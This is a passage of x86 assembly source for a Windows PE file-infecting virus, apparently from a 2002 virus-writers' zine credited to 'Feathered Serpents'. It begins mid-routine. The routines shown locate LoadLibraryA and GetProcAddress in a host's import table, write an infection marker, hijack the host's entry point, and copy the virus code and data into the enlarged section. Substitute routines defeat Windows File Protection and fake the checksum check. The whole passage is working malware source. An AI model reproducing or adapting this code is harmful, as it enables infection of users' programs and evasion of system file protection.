add edx, [edx][IMAGE_DOS_HEADER.e_lfanew ]
|
|
add eax, Virus_Size
|
|
DO_API AlignToVA, eax, [edx][PE.FileAlignment]
|
|
mov [esi + VX.NewSectionSize], eax
|
|
|
|
add eax, [edi][SECTION.PointerToRawData ]
|
|
jc PrepareFail
|
|
mov [esi][VX.NewFileSize], eax
|
|
mov eax, -1
|
|
jmp PrepareExit
|
|
|
|
PrepareFail:
|
|
xor eax, eax
|
|
PrepareExit:
|
|
ret
|
|
PrepareFile ENDP
|
|
|
|
; =============================================================================
|
|
; ( Infection Import Scanner ) ================================================
|
|
; =============================================================================
|
|
|
|
ImportScan PROC VD:PTR VX, MAP:DWORD, TABLE:DWORD
|
|
|
|
; Locate the correct Thunk List which is swapped between MASM and TASM
|
|
mov esi, [VD]
|
|
mov edi, [TABLE]
|
|
|
|
mov eax, [edi][IMPORT.OriginalFirstThunk]
|
|
or eax, eax
|
|
jnz @F
|
|
mov eax, [edi][IMPORT.FirstThunk ]
|
|
|
|
@@: DO_API ConvertToVA, [MAP], eax
|
|
or eax, eax
|
|
jz ImportExit
|
|
mov edi, eax
|
|
xor ecx, ecx
|
|
|
|
; Check if entry is the last in the table. If not, skip it if it's an
|
|
; Ordinal entry, or load up where it points to and skip the Hint.
|
|
ImportLoop:
|
|
mov eax, [edi]
|
|
or eax, eax
|
|
jz ImportFinish
|
|
js ImportNext
|
|
DO_API ConvertToVA, [MAP], eax
|
|
or eax, eax
|
|
jz ImportFail
|
|
inc eax
|
|
inc eax
|
|
|
|
; Compare the string to our GetProcAddress string. If it matches, we
|
|
; move onto the 'save' section which is pointed to by EDX. We saved
|
|
; EAX for our next compare.
|
|
push eax
|
|
lea edx, [esi][VX.GetProcAddressRVA ]
|
|
CompareStringM ADDR [esi][VX.sGetProcAddress ], eax
|
|
cmp eax, 2
|
|
pop eax
|
|
je @F
|
|
|
|
; Compare the string to our LoadLibraryA string. If it matches, we
|
|
; move onto the 'save' section which is pointed to by EDX. We didn't
|
|
; save EAX, it's not needed anymore.
|
|
lea edx, [esi][VX.LoadLibraryRVA ]
|
|
CompareStringM ADDR [esi][VX.sLoadLibraryA ], eax
|
|
cmp eax, 2
|
|
jne ImportNext
|
|
|
|
@@: ; FirstThunk is the one that will be overwritten with the VAs of API on
|
|
; execution, wether linked with MASM or TASM. Save its RVA for later.
|
|
mov ebx, [TABLE ]
|
|
mov ebx, [ebx][IMPORT.FirstThunk]
|
|
lea ebx, [ebx + ecx * 4 ]
|
|
mov [edx], ebx
|
|
|
|
ImportNext:
|
|
inc ecx
|
|
add edi, 4
|
|
jmp ImportLoop
|
|
|
|
ImportFinish:
|
|
; Failed by default, meaning continue searching for more Kernel32.DLL
|
|
; Imports. If both API have been filled in, the loop routine that has
|
|
; called us can stop searching.
|
|
mov eax, -1
|
|
cmp [esi][VX.LoadLibraryRVA], 0
|
|
je ImportFail
|
|
cmp [esi][VX.GetProcAddressRVA], 0
|
|
jne ImportExit
|
|
|
|
ImportFail:
|
|
xor eax, eax
|
|
ImportExit:
|
|
ret
|
|
ImportScan ENDP
|
|
|
|
; =============================================================================
|
|
; ( Infection Finishing ) =====================================================
|
|
; =============================================================================
|
|
|
|
FinishFile PROC VD:PTR VX, RD:PTR RX, MAP:DWORD
|
|
|
|
; Set our infection marker
|
|
mov esi, [VD ]
|
|
mov edi, [MAP]
|
|
mov [edi][IMAGE_DOS_HEADER.e_csum], -1
|
|
|
|
; ESI = VD, EDI = PE, EDX = SECTION
|
|
mov edx, [esi][VX.SectionEntry ]
|
|
lea edx, [edi][edx ]
|
|
add edi, [edi][IMAGE_DOS_HEADER.e_lfanew]
|
|
push edi
|
|
|
|
; Write all new SECTION fields
|
|
mov eax, [edx][SECTION.VirtualSize ]
|
|
cmp eax, [edx][SECTION.SizeOfRawData ]
|
|
ja @F
|
|
mov eax, [edx][SECTION.SizeOfRawData ]
|
|
@@: DO_API AlignToVA, eax, [edi][PE.SectionAlignment ]
|
|
sub [edi][PE.SizeOfImage], eax
|
|
DO_API AlignToVA, [esi][VX.NewSectionSize], [edi][PE.SectionAlignment]
|
|
add [edi][PE.SizeOfImage], eax
|
|
|
|
mov ebx, [esi][VX.NewSectionSize]
|
|
mov [edx][SECTION.VirtualSize ], ebx
|
|
mov [edx][SECTION.SizeOfRawData ], ebx
|
|
or [edx][SECTION.Characteristics], IMAGE_SCN_MEM_READ
|
|
|
|
; Decide what SizeOfX SECTION we're in, subtract and update
|
|
mov eax, [edx][SECTION.VirtualSize ]
|
|
cmp eax, [edx][SECTION.SizeOfRawData ]
|
|
ja @F
|
|
mov eax, [edx][SECTION.SizeOfRawData ]
|
|
|
|
@@: lea ecx, [edi][PE.SizeOfCode ]
|
|
test [edx][SECTION.Characteristics], IMAGE_SCN_CNT_CODE
|
|
jnz @F
|
|
lea ecx, [edi][PE.SizeOfInitializedData ]
|
|
test [edx][SECTION.Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
|
|
jnz @F
|
|
lea ecx, [edi][PE.SizeOfUninitializedData ]
|
|
|
|
@@: DO_API AlignToVA, eax, [edi][PE.FileAlignment]
|
|
sub [ecx], eax
|
|
mov eax, [esi][VX.NewSectionSize ]
|
|
add [ecx], eax
|
|
|
|
; Set the new EntryPoint and save the old one
|
|
mov ebx, [esi][VX.VirusEntryPoint ]
|
|
push ebx
|
|
xchg [edi][PE.AddressOfEntryPoint], ebx
|
|
mov [esi][VX.HostsEntryPoint], ebx
|
|
pop ebx
|
|
|
|
; Write the code section of the virus
|
|
DO_API ConvertToVA, [MAP], ebx
|
|
push esi
|
|
mov esi, [esi][VX.DeltaOffset]
|
|
lea esi, [esi][WinMain ]
|
|
mov edi, eax
|
|
mov ecx, Virus_Code / 4
|
|
rep movsd
|
|
pop esi
|
|
|
|
; Write the data section of the virus
|
|
push esi
|
|
mov ecx, Size VX / 4
|
|
rep movsd
|
|
pop esi
|
|
|
|
; Do the checksums, one of which is pointing to a junk area
|
|
pop ebx
|
|
DO_API tCheckSumMappedFile PTR [esi][VX.pCheckSumMappedFile], [MAP], [esi][VX.NewFileSize], ADDR [esi][VX.SectionEntry], ADDR [ebx][PE.CheckSum]
|
|
|
|
FinishExit:
|
|
ret
|
|
FinishFile ENDP
|
|
|
|
; =============================================================================
|
|
; ( Align to Boundary ) =======================================================
|
|
; =============================================================================
|
|
|
|
AlignToVA PROC VALUE:DWORD, ALIGNER:DWORD
|
|
|
|
; EDX:EAX = VALUE. Divide by ECX, subtract remainder and add ALIGNER.
|
|
mov eax, [VALUE ]
|
|
xor edx, edx
|
|
mov ecx, [ALIGNER]
|
|
div ecx
|
|
or edx, edx
|
|
mov eax, [VALUE ]
|
|
jz AlignExit
|
|
add eax, [ALIGNER]
|
|
|
|
AlignExit:
|
|
sub eax, edx
|
|
ret
|
|
AlignToVA ENDP
|
|
|
|
; =============================================================================
|
|
; ( Convert RVA to VA ) =======================================================
|
|
; =============================================================================
|
|
|
|
ConvertToVA PROC MAP:DWORD, VALUE:DWORD
|
|
|
|
mov esi, [MAP ]
|
|
mov edi, [VALUE]
|
|
or edi, edi
|
|
jz ConvertFail
|
|
|
|
; Locate start of SECTION in MAP, prepare for looping through them all
|
|
add esi, [esi][IMAGE_DOS_HEADER.e_lfanew]
|
|
movzx ecx, [esi][PE.NumberOfSections ]
|
|
add si, [esi][PE.SizeOfOptionalHeader ]
|
|
adc esi, PE.Magic
|
|
|
|
ConvertLoop:
|
|
; Jump over this section entry if it starts above our RVA
|
|
cmp [esi][SECTION.VirtualAddress], edi
|
|
ja ConvertNext
|
|
|
|
; To find out where the section ends in the file, we need to check the
|
|
; SizeOfRawData and VirtualSize entries and use the biggest one. Know
|
|
; now that TASM and MASM swap the meanings of these entries. Bitches.
|
|
mov eax, [esi][SECTION.SizeOfRawData ]
|
|
cmp eax, [esi][SECTION.VirtualSize ]
|
|
ja @F
|
|
mov eax, [esi][SECTION.VirtualSize ]
|
|
@@: add eax, [esi][SECTION.VirtualAddress]
|
|
|
|
; Jump over this section entry if it ends below our RVA
|
|
cmp eax, edi
|
|
jbe ConvertNext
|
|
|
|
; Fail if this entry doesn't exist in the file [could be memory only]
|
|
cmp [esi][SECTION.PointerToRawData], 0
|
|
je ConvertFail
|
|
|
|
; Convert raw pointer to VA and add our value's pointers offset to it
|
|
mov eax, [MAP]
|
|
add eax, [esi][SECTION.PointerToRawData]
|
|
sub edi, [esi][SECTION.VirtualAddress ]
|
|
add eax, edi
|
|
jmp ConvertExit
|
|
|
|
ConvertNext:
|
|
add esi, SIZE SECTION
|
|
loop ConvertLoop
|
|
|
|
ConvertFail:
|
|
xor eax, eax
|
|
ConvertExit:
|
|
ret
|
|
ConvertToVA ENDP
|
|
|
|
; =============================================================================
|
|
; ( Alternate SfcIsFileProtected ) ============================================
|
|
; =============================================================================
|
|
|
|
AlternSfc PROC A:DWORD, B:DWORD
|
|
|
|
; Alternate SfcIsFileProtected procedure, returns "File Unprotected"
|
|
mov eax, FALSE
|
|
ret
|
|
|
|
AlternSfc ENDP
|
|
|
|
; =============================================================================
|
|
; ( Alternate CheckSumMappedFile ) ============================================
|
|
; =============================================================================
|
|
|
|
AlternSum PROC A:DWORD, B:DWORD, Y:DWORD, Z:DWORD
|
|
|
|
; Alternate CheckSumMappedFile procedure, returns "NULL Checksum OK"
|
|
mov eax, [Z]
|
|
mov ebx, NULL
|
|
xchg [eax], ebx
|
|
mov eax, [Y]
|
|
mov [eax], ebx
|
|
mov eax, [A]
|
|
add eax, [eax][IMAGE_DOS_HEADER.e_lfanew]
|
|
ret
|
|
|
|
AlternSum ENDP
|
|
|
|
; =============================================================================
|
|
; ( Virus Data ) ==============================================================
|
|
; =============================================================================
|
|
|
|
ALIGN 4
|
|
Virus_Code EQU $ - WinMain
|
|
Virus_Data VX { }
|
|
Virus_Size EQU $ - WinMain
|
|
|
|
Virus ENDS
|
|
END WinMain
|
|
|
|
COMMENT ` ---------------------------------------------------------------- )=-
|
|
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
|
|
-=( ---------------------------------------------------------------------- ) `
|